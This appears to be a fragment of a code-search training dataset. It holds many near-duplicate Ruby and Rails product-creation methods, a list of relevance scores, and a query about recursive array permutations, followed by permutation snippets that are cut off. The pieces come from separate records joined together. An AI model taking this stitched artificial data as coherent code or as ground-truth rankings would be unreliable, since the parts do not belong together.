"def create_product(row)\n #create new product\n product = Product.new\n product.model = row['model']\n product.sku = ''\n product.upc = ''\n product.ean = ''\n product.jan = ''\n product.isbn = ''\n product.mpn = ''\n product.location = ''\n product.stock_status_id = 5\n product.manufacturer_id = 0\n product.shipping = true\n product.price = row['price']\n product.points = 0\n product.tax_class_id = 0\n product.date_available = DateTime.now\n product.weight = row['weight']\n product.weight_class_id =0\n product.length = 0\n product.width = 0\n product.height = 0\n product.length_class_id = 1\n product.subtract = 1\n product.sort_order = 0\n product.status = false\n product.date_added = DateTime.now -2\n product.date_modified = DateTime.now -2\n product.save\n\n #add product name\n productDescription = ProductDescription.new\n productDescription.product_id = product.product_id\n productDescription.language_id = 1\n productDescription.name = row['english']\n productDescription.description = ''\n productDescription.meta_description = ''\n productDescription.meta_keyword = ''\n productDescription.tag = ''\n\n\n productDescription.save\n\n pd = ProductDescription.new\n pd.product_id = product.product_id\n pd.language_id = 2\n pd.name = row['chinese']\n pd.description = ''\n pd.meta_description = ''\n pd.meta_keyword = ''\n pd.tag = ''\n\n pd.save \n\n #add product to store\n productStore = ProductStore.new\n productStore.product_id = product.product_id\n productStore.store_id = 0\n productStore.save\n\n \n\n end",
"def add_new_product\n array_product = @view.new_product_info\n new_product = Product.new(array_product[0],array_product[1],array_product[2])\n @seller.save_product_info(new_product)\n input = @view.menu(\"2\")\n seller_actions(input)\n end",
"def create\n @product = Product.new(product_params)\n @product.save\n set_products\n end",
"def create_product(id)\n item = DirectedEdge::Item.new(@database, \"product#{id}\")\n item.add_tag('product')\n item.save\n end",
"def create_product\n\t\tproduct_attributes = @view.creando_producto\n\t\t@store.add_product(product_attributes[0], product_attributes[1])\n\t\toption = @view.second_view(@current_user, @current_user.actions)\n\t\tlist(option)\n\tend",
"def insert_product(product_id:, name:, description:, price:, original_price:,\n number_of_installments:, installments_full_price:, image_url:,\n available_quantity:, store_id:)\n productAux = Product.new(\n product_id: product_id,\n name: name,\n description: description,\n price: price,\n original_price: original_price,\n number_of_installments: number_of_installments,\n installments_full_price: installments_full_price,\n image_url: image_url,\n available_quantity: available_quantity,\n store_id: store_id\n )\n\n if productAux.save\n puts \"O produto #{productAux[:name]} foi adicionado com sucesso\"\n else\n puts productAux.errors.full_messages\n end\n end",
"def create\n get_product\n @product_detail = @product.details.create(params[:product_detail])\n end",
"def create\n\t\t#binding.pry\n\t\t@product = Product.new(product_params)\n\t\tif @product.save\n\t\t\tredirect_to products_path(@product.id)\n\t\telse\n\t\t\trender action: \"new\"\n\t\tend\n\tend",
"def create_cart_product_for_new_product(product)\n cp = cart_products.create\n cp.product = product\n cp.quantity = 1\n cp.price = product.best_price\n cp\n end",
"def create_new_product\n begin\n db = SQLite3::Database.open(ENV[\"BANGAZON\"])\n db.execute('INSERT INTO products (product_title, product_price, customer_id) VALUES (?, ?, ?)',[ @product_title, @product_price, @customer_id])\n last_record = db.last_insert_row_id\n db.close\n last_record\n rescue SQLite3::Exception => e\n p \"Exception with create_new_product database query: #{e}\"\n end\n\n end",
"def new\n\t \t@product = Product.new\n\t end",
"def new\n\t\t@product = Product.new\n\tend",
"def new\n\t\t@product = Product.new\n\tend",
"def new\n\t\t@product = Product.new\n\tend",
"def new\n\t\t@product = Product.new\n\tend",
"def new\n\t\t@product = Product.new\n\tend",
"def create\n if @product.save\n render :show, status: :created, location: api_v1_product_path(@product)\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end",
"def create_product(prod)\n\n purchase_price = BigDecimal.new(\"0.0\")\n purchase_price = BigDecimal.new(prod['purchase_price'].to_s) unless prod['purchase_price'].nil?\n sales_price = nil\n sales_price = BigDecimal.new(prod['sales_price']) unless prod['sales_price'].nil?\n weight = 0\n weight = prod['weight'].to_f unless prod['weight'].nil?\n manufacturer_product_code = prod['manufacturer_product_code']\n stock = prod['stock'].to_i unless prod['stock'].nil?\n\n tax_percentage = prod['tax_percentage'] || 8.0\n tax_class = TaxClass.where(:percentage => tax_percentage).first unless tax_percentage.nil?\n if tax_class.nil?\n tax_class = TaxClass.create(:percentage => 8.0, :name => \"8.0\")\n end\n\n prod['description'].blank? ? description = \"No description\" : description = prod['description']\n \n is_featured = false\n is_featured = true if [\"yes\", \"true\", \"1\"].include?(prod['featured'])\n is_visible = true\n is_visible = false if [\"no\", \"false\", \"0\"].include?(prod['visible'])\n is_build_to_order = false\n is_build_to_order = true if [\"yes\", \"true\", \"1\"].include?(prod['build_to_order'])\n \n supplier = Supplier.find_by_name(prod['supplier'])\n\n product = Product.where(:name => prod['name'],\n :description => description,\n :weight => weight,\n :sales_price => sales_price,\n :supplier_id => supplier,\n :tax_class_id => tax_class,\n :purchase_price => purchase_price,\n :manufacturer_product_code => manufacturer_product_code,\n :is_featured => is_featured,\n :is_visible => is_visible,\n :is_build_to_order => is_build_to_order,\n :stock => stock).first\n if product.nil?\n product = Product.create(:name => prod['name'],\n :description => description,\n :weight => weight,\n :sales_price => sales_price,\n :supplier => supplier,\n :tax_class => tax_class,\n :purchase_price => purchase_price,\n :manufacturer_product_code => manufacturer_product_code,\n :is_featured => is_featured,\n :is_visible => is_visible,\n :is_build_to_order => is_build_to_order,\n :stock => stock)\n end\n if prod['category']\n category = Category.where(:name => prod['category']).first\n category = Category.create(:name => prod['category']) if category.nil?\n product.categories << category\n product.save\n end\n\n\n # Ugly, but at least it makes test authors know what went wrong\n if product.errors.empty?\n return product\n else\n puts \"Errors creating product: #{product.errors.full_messages}\"\n return false\n end\nend",
"def create\n @product = Product.create(params[:product])\n if @product.new_record?\n render :action => 'new'\n else\n flash[:success] = 'Product Created'\n redirect_to edit_office_product_url(@product)\n end\n end",
"def create\n @product = Product.new(params[:product])\n #@product = Product.create(vendor_id: @vendor.id)\n #@vendor = Vendor.all\n #@product = @vendor.products.create(product_date :Time.now, vendor_id: @vendor.id)\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @product = Product.new\n end",
"def create\n @product = Product.create!(product_params)\n json_response(@product, :created)\n end",
"def product_create\n\t\tvalues = task_params\n\t\tif !params[:customer_name].blank?\n\t\t\tcustomer = Customer.create(:customer_name => params[:customer_name])\n\t\t\tvalues[:customer_id] = customer.id\n\t\tend\n\t\tif !params[:category_name].blank?\n\t\t\tcategory = Category.create(:category_name => params[:category_name])\n\t\t\tvalues[:category_id] = category.id\n\t\tend\n\t\t@task_data = Product.new(values)\n \t\t@task_data.save\n \t\tredirect_to product_index_path\n\tend",
"def create\n @product = Product.new(product_args)\n\n if @product.save\n render json: Product.all, status: :created\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end",
"def create\n @product = Product.new(params[:product])\n render_after_save('new')\n end",
"def create\n @product = Product.new(product_params)\n @product.save!\n redirect_to root_path\n end",
"def create_product(id=nil, name=nil, params={})\n # For purposes of testing, you can omit id and name to create with\n # random strings.\n id ||= rand(100000).to_s #id has to be a number. OID encoding fails otherwise\n name ||= random_string('testproduct')\n product = @cp.create_product(id, name, params)\n @products << product\n return product\n end",
"def new\n @product = Product.new\n end",
"def new\n @product = Product.new\n end",
"def new\n @product = Product.new\n end",
"def new\n @product = Product.new\n end",
"def new\n @product = Product.new\n end",
"def new\n @product = Product.new\n end",
"def new\n @product = Product.new\n end",
"def new\n @product = Product.new\n end",
"def new\n @product = Product.new\n end",
"def new\n @product = Product.new\n end",
"def new\n @product = Product.new\n end",
"def new\n @product = Product.new\n end",
"def new\n @product = Product.new\n end",
"def new\n @product = Product.new\n end",
"def new\n @product = Product.new\n end",
"def new\n @product = Product.new\n end",
"def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n \n end",
"def create\n pfid = begin\n self.product_family_id\n rescue NoMethodError\n 0\n end\n connection.post(\"/product_families/#{pfid}/products.#{self.class.format.extension}\", encode, self.class.headers).tap do |response|\n self.id = id_from_response(response)\n load_attributes_from_response(response)\n end\n end",
"def create\n pfid = begin\n self.product_family_id\n rescue NoMethodError\n 0\n end\n connection.post(\"/product_families/#{pfid}/products.#{self.class.format.extension}\", encode, self.class.headers).tap do |response|\n self.id = id_from_response(response)\n load_attributes_from_response(response)\n end\n end",
"def create\n product = Product.new(\n name: params[:name],\n net_price: params[:net_price]\n )\n\n if product.save\n format_response({ success: true, message: \"Product '#{product.name}' has been created\" }) and return\n else\n format_response({ success: false, message: product.errors.full_messages.to_sentence }) and return\n end\n end",
"def create\n # Get the product parameters\n @product = Product.new(product_params)\n\n # Save the product, if it doesn't save show errors, else show success message\n # and redirect to the products index page\n if @product.save\n # Save the product style\n @product_style = ProductStyle.new(:product_id => @product.product_id,\n :product_style_name => product_params[:style],\n :active_style => product_params[:select_style])\n @product_style.save\n # Save the product size\n @product_size = ProductSize.new(:product_id => @product.product_id,\n :product_size_name => product_params[:size],\n :active_size => product_params[:select_size])\n @product_size.save\n flash[:success] = \"#{@product.product_name} has been added\"\n redirect_to edit_product_path(@product)\n else\n render 'new'\n end\n end",
"def create\n\t\t@product = Product.new(product_params)\n\t\tif @product.save\n\t\t\t\n\t\t\tredirect_to product_path(@product.id)\n\t\telse\n\t\t\trender action: \"new\"\n\t\tend\n\tend",
"def create\n @product = Product.new(product_params)\n product_type = params[:product][:product_type]\n if product_type\n url = product_type.to_s == 'balo' ? balo_products_path : purge_products_path\n else\n url = products_path\n end\n\n if @product.save\n flash[:notice] = \"Created\"\n if params[:commit] == \"Add and Continue\"\n redirect_back(fallback_location: root_path, product_type: params[:product][:product_type])\n else\n redirect_to url\n end\n else\n render :new\n end\n end",
"def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Продукт успешно создан.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\t\t@product = Product.new(product_params)\n\t\tif @product.save\n\t\t\tredirect_to product_path(@product.id), notice: \"The product has successfully created\"\n\t\telse\n\t\t\trender action: 'new'\n\t\t\t\n\t\tend\n\tend",
"def create\n @product = Product.new(params[:product])\n @product.save\n redirect_to :action => :index\n end",
"def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Изделие успешно создано.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product.brand = website.brand\n @product.layout_class ||= @product.brand.default_layout_class_for_products\n respond_to do |format|\n if @product.save\n format.html { redirect_to([:admin, @product], notice: 'Product was successfully created.') }\n format.xml { render xml: @product, status: :created, location: @product }\n website.add_log(user: current_user, action: \"Created product: #{@product.name}\")\n else\n format.html { render action: \"new\" }\n format.xml { render xml: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(product_params)\n \n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n ActiveRecord::Base.transaction do\n begin\n @api_v1_product = Product.create!(api_v1_product_params)\n\n json_response @api_v1_product, :created\n rescue => ex\n json_response({error: ex.message}, :unprocessable_entity)\n raise ActiveRecord::Rollback\n end\n end\n end",
"def create\n @page_title = \"Sell your product\"\n @product = Product.new(params[:product])\n @product.user = current_user\n\n if @product.valid?\n @product.force_save\n return product_success\n else\n flash[:error_stay] = @product.errors.full_messages\n @product.force_save\n redirect_to edit_product_path(@product)\n end\n end",
"def new\n\t\t@item = Product.new\n\tend",
"def create\n @product = Product.new(@editable_params)\n\n if @product.save\n @product_section = 'options'\n render :template => 'manage/products/options_images_form' and return\n else\n prepare_products(25,'any')\n render :template => 'manage/products/index' and return\n end\n end",
"def create\n authorize! :manage, @product, :message => 'Not authorized as an administrator'\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def save_product!\n product = nil\n if product_id.blank?\n product = Inventory::Product.new\n product.name = name\n product.sku = sku\n product.catalogue_id = catalogue_id\n product.facility_strain_id = facility_strain_id\n product.facility_id = facility_id\n product.transaction_limit = transaction_limit\n product.status = 'available'\n product.save!\n else\n product = Inventory::Product.find(product_id)\n end\n\n product\n end",
"def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render action: 'show', status: :created, location: @product }\n else\n format.html { render action: 'new' }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create(product)\n validate_type!(product)\n\n attributes = sanitize(product)\n _, _, root = @client.post(\"/products\", attributes)\n\n Product.new(root[:data])\n end",
"def create\n\t\t@product = Product.new(product_params)\n\t\tif @product.save\n\t\t\tredirect_to product_path(@product.id) ,notice:\"the product was successfully created\"\n\t\telse\n\t\t\trender action: 'new'\n\t\tend\n\tend",
"def create_product sku, category_id, price, description, image_path\n # Layout traits for a sample product\n product_data = {:store => \"admin\", :store_id => @current_store_id, :product_type_id => \"simple\",\n :product_name => sku, :enable_qty_increments => 0, :use_config_enable_qty_increments => 1,\n :qty_increments => 0, :use_config_qty_increments => 1, :stock_status_changed_automatically => 1,\n :use_config_manage_stock => 1, :manage_stock => 0, :use_config_notify_stock_qty => 1,\n :is_in_stock => 0, :use_config_max_sale_qty => 1, :max_sale_qty => 0, :use_config_min_sale_qty => 1,\n :min_sale_qty => 1, :use_config_backorders => 1, :backorders => 0, :is_qty_decimal => 0,\n :use_config_min_qty => 1, :min_qty => 0, :qty => 0, :is_recurring => \"No\", :enable_googlecheckout => \"No\",\n :tax_class_id => 2, :visibility => 4, :status => 1, :weight => 1, :gift_message_available => \"No\",\n :websites => \"base\", :name => sku, :price => price, :description => description, :short_description => description}\n # Create a product using the above attributes (type, attribute_set_id, sku, product_data)\n new_product_id = @server.call(\"call\", @session_id, \"catalog_product.create\", [\"simple\", 4, sku, product_data])\n # After creating the product assign that product to a category\n assign_product_to_category category_id, new_product_id\n if !image_path.nil?\n # After assigning to a category then upload the product image\n upload_image_to_product sku, image_path\n end\n return new_product_id\n rescue XMLRPC::FaultException => exception\n return exception\n end",
"def new\n @pagetitle = \"New product\"\n \n @product = Product.new\n @product[:cost] = 0\n @product[:quantity] = 0\n\n @product[:quantity_transit] = 0\n @product[:company_id] = params[:company_id]\n @product[:price] = 0\n \n @company = Company.find(params[:company_id])\n @suppliers = @company.get_suppliers()\n @marcas = @company.get_marcas()\n @modelos = @company.get_modelos()\n @categories = @company.get_categories()\n @unidades = Unidad.all\n\n @product[:tax1_name] = @company.get_last_tax_name(1)\n @product[:tax2_name] = @company.get_last_tax_name(2)\n @product[:tax2_name] = @company.get_last_tax_name(3)\n \n if(@company.get_last_tax(1))\n @product[:tax1] = @company.get_last_tax(1)\n else\n @product[:tax1] = 0\n end\n \n if(@company.get_last_tax(2))\n @product[:tax2] = @company.get_last_tax(2)\n else\n @product[:tax2] = 0\n end\n \n if(@company.get_last_tax(3))\n @product[:tax3] = @company.get_last_tax(3)\n else\n @product[:tax3] = 0\n end\n \n if(not @company.can_view(current_user))\n errPerms()\n end\n end",
"def addProd()\n if(!authenticateAdmin(params[:admin_id], params[:admin_auth_key]))\n render json: {status: false, reason: \"Authentication Failed\", data: \"\"}\n return\n end\n p = Product.new(name: params[:name], price: params[:price].to_f, category_id: params[:cat_id], picture_list: '[]')\n status = p.save\n error = \"\"\n if(p.errors.full_messages.count > 0)\n error = c.errors.full_messages[0]\n end\n render json: {status: status, reason: error, data: \"\"}\n end",
"def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to site_path(@site), notice: '商品の作成に成功しました' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: t(:product_created) }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\t\t@product = Product.new(product_params)\n\t\tif @product.save\n\t\t\tredirect_to product_path(@product.id), notice: \"The product was successfully created\"\n\t\telse\n\t\t\trender action: 'new'\n\t\tend\n\tend",
"def create\n unread\n\n @product = Product.new(params[:product])\n @sellers = Seller.all\n @branches = Branch.all\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n product = Product.new(product_params)\n\n if product.save\n @product = product\n else\n @error = 1\n @errors = product.errors\n end\n end",
"def create\n @product = Product.new(params[:product])\n\n collect_and_assign_product_attributes\n collect_and_assign_new_categories\n\n respond_to do |format|\n if @product.save\n flash[:notice] = 'Product was successfully created.'\n format.html { redirect_to(admin_product_path(@product)) }\n format.xml { render :xml => @product, :status => :created, :location => @product }\n else\n assign_lovs\n format.html { render :action => \"new\" }\n format.xml { render :xml => @product.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n authorize! :manage, @product , :message => \"Access denied.\"\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_product(product_node)\n url = URL + product_node.xpath(\"./strong/a/@href\").text\n name = product_node.xpath(\"./strong/a\").text.delete(\"\\n\" \" \")\n image_url = product_node.xpath(\"../td[@class='pimage']/a/img/@src\").text\n Product.create(url: url, name: name, image_url: image_url)\n end",
"def create_product_art_request\n request_class = product.product_request_class.constantize\n request = request_class.new(art_request_id: self.id)\n request.save!\n end",
"def create_product\n visit '/'\n find_link('New').click\n within(:xpath, '//form') do\n select('Trance', :from => 'product_type')\n fill_in 'Title', :with => 'Thisisproduct'\n fill_in 'Price', :with => '99.00'\n attach_file('Image', 'public/test.png')\n attach_file('Audio', 'public/demo_track.mp3')\n click_button('Create Product')\n end\n expect(page).to have_selector('a','New')\n end",
"def create\n # @current_user ||= User.find(session[:user_id]) if session[:user_id]\n @current_user = current_user\n\n # @product = Product.new(product_params)\n @product = @current_user.products.new(product_params)\n\n if @product.save\n redirect_to @product\n else\n render 'new'\n end\n end",
"def create\n\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product,\n notice: 'Product was successfully created.' }\n format.json { render :show, status: :created,\n location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors,\n status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(product_params)\n if @product.save\n flash[:notice] = \"successfully\"\n redirect_to owners_product_path\n else\n render :new\n end\n end",
"def create\n @product = Product.new(product_params)\n @product.user = current_api_v1_user\n respond_to do |format|\n if @product.save\n params[:product][:properties].try(:each) do |k,v|\n @product.product_properties.create(property: Property.find(k), value: v)\n end\n params[:product][:colors].try(:each) do |c|\n @product.colors.create(name: c[:name].downcase, code: c[:code])\n end\n params[:product][:photos].try(:each) do |c|\n @product.photos.create(image: c)\n end\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created}\n else\n format.html { render :new }\n format.json { render json: @product.errors.full_messages, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(params[:product])\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = Product.new(product_params)\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.81571627",
"0.8154615",
"0.8041338",
"0.7931761",
"0.78155005",
"0.7790225",
"0.7756185",
"0.77470464",
"0.7726958",
"0.7695504",
"0.76150906",
"0.7613154",
"0.75994223",
"0.7598772",
"0.7591698",
"0.7583223",
"0.7583223",
"0.7583223",
"0.7583223",
"0.7583223",
"0.75413734",
"0.75130033",
"0.7491953",
"0.7434883",
"0.74347776",
"0.74298847",
"0.7401045",
"0.73936284",
"0.7381704",
"0.7381503",
"0.73791736",
"0.73684895",
"0.73684895",
"0.73684895",
"0.73684895",
"0.73684895",
"0.73684895",
"0.73684895",
"0.73684895",
"0.73684895",
"0.73684895",
"0.73684895",
"0.73684895",
"0.73684895",
"0.73684895",
"0.73684895",
"0.73684895",
"0.7367048",
"0.7362086",
"0.7362086",
"0.7335881",
"0.7333362",
"0.7328433",
"0.73072433",
"0.7298276",
"0.7297898",
"0.72805697",
"0.72730386",
"0.72609746",
"0.72552246",
"0.72512805",
"0.72501254",
"0.7246892",
"0.7244875",
"0.7244051",
"0.72392255",
"0.72343844",
"0.72324044",
"0.72301495",
"0.72224826",
"0.7219249",
"0.72182584",
"0.7217404",
"0.721678",
"0.7215513",
"0.7214383",
"0.72135687",
"0.7209596",
"0.7206111",
"0.7204549",
"0.72026277",
"0.72008705",
"0.7199602",
"0.71882236",
"0.7187493",
"0.71869415",
"0.7182842",
"0.71823984",
"0.71823984",
"0.71823984",
"0.71823984",
"0.71823984",
"0.71823984",
"0.71823984",
"0.71823984",
"0.71823984",
"0.71823984",
"0.71823984",
"0.71823984",
"0.71701974"
] |
0.7269491
|
58
|
and a result which is also an array that is empty at first. The all_perms method is a recursive method. We make a list of the elements that are not present in the result. We add the first element from this to the result. All the permutations of the prefix in the result with the remaining elements are printed. The added element is popped off. The next candidate is now added to the result and all the permutations with this prefix are printed, and so on.
|
def perms(arr)
result = []
all_perms(arr, 0, result)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def permutations(base, result = [])\n base = base.dup\n base.empty? ? [result] : base.shift.map { |value| permutations(base, result + [value]) }.flatten(1)\n end",
"def permutations(arr)\n # return nil if arr.empty?\n return [arr] if arr.length == 1\n # grab first element to append to all perms of smaller array\n first_el = arr.shift\n # get permutations of shrunken array\n subset_perms = permutations(arr)\n total_permutations = []\n # iterate through all smaller perms\n subset_perms.each do |sub|\n # add first element to all possible indices of perms array\n # and add to total_perms array\n (0..sub.length).each do |i|\n subset = sub[0...i] + [first_el] + sub[i..-1]\n total_permutations << subset\n end\n end\n total_permutations\nend",
"def all_perms(photos, prefix, all_perms)\n # if photos.size == prefix.size\n # all_perms << prefix.clone\n # end\n photos.each do |photo|\n next if prefix.include?(photo)\n p_clone = prefix.clone\n p_clone << photo\n\n all_perms(photos, p_clone, all_perms)\n end\n\n all_perms << prefix.clone if prefix.size == photos.size\n\n all_perms\n end",
"def permutations(arr)\n return [[]] if arr.empty? \n \n #last element arr\n #putting before and after every index of a perm\n #permuatations(arr[0..-2])\n #last = arr[-1]\n \n last = arr[-1]\n perms = permutations(arr[0..-2])\n result = [] \n perms.each do |sub_arr| #[a,b]\n current_perms = []\n (0..sub_arr.length).each do |i|\n dup = sub_arr.dup \n current_perms << dup.insert(i,last) # dup = ['b','a']\n end \n result += current_perms\n end \n\n result \nend",
"def permutations(array)\n debugger\n return [array] if array.length <= 1\n # pop off the last element\n first = array.shift\n # make the recursive call\n perms = permutations(array)\n # we will need an array to store all our different permutations\n total_permutations = []\n\n\n # Now we iterate over the result of our recusive call say [[1, 2], [2, 1]]\n # and for each permutation add first into every index. This new subarray\n # gets added to total_permutations.\n perms.each do |perm|\n (0..perm.length).each do |i|\n total_permutations << perm[0 ... i] + [first] + perm[i .. -1]\n end\n end\n total_permutations\nend",
"def permutations(arr)\n return [arr] if arr.length <= 1\n\n first = arr.shift\n perms = permutations(arr)\n total_perms = []\n\n perms.each do |perm|\n (0..perm.length).each do |i|\n total_perms << perm[0...i] + [first] + perm[i..-1]\n end\n end\n\n total_perms.sort\nend",
"def permutations(array)\n return [array] if array.length == 1\n\n perms = []\n array.each do |el|\n dupped = array.dup\n dupped.delete(el)\n permutations(dupped).each { |perm| perms << [el] + perm }\n end\n\n perms\nend",
"def permutations(perms, digits)\n\tcounts = Array.new(digits.size, 0)\n\t\nend",
"def permutations(arr)\n return arr if arr.length <= 1\n perm = [arr]\n sub_perm = permutations(arr[1..-1])\n curr_el = arr[0]\n p sub_perm\n p \" sub_perm #{sub_perm} \"\n if sub_perm.length > 1\n\n sub_perm.each do |subArr|\n temp = []\n (0...subArr.length).each do |i|\n temp = subArr[0..i] + [curr_el] + subArr[i + 1..-1]\n end\n perm << temp\n end\n end\n # puts \" sub_perm #{sub_perm} \"\n # sub_perm.each do |subArr|\n # subArr << curr_el\n # perm << subArr\n # end\n # sub_perm << curr_el\n # perm << sub_perm\nend",
"def permutations(array)\n # debugger\n return [array] if array.length == 1\n perms = permutations(array[0..-2])\n other_perms = []\n perms.each do |perm|\n other_perms += (0..perm.length).map do |idx|\n temp = perm.dup\n temp.insert(idx, array[-1])\n end\n end \n other_perms\nend",
"def permutations(array)\n return [array] if array.length <= 1\n start = array.shift\n perm = permutations(array)\n total_perms = []\n perm.each do |perms|\n (0..perm.length).each do |i|\n total_perms << perms[0...i] + [start] + perms[i..-1]\n end\n end\n total_perms\nend",
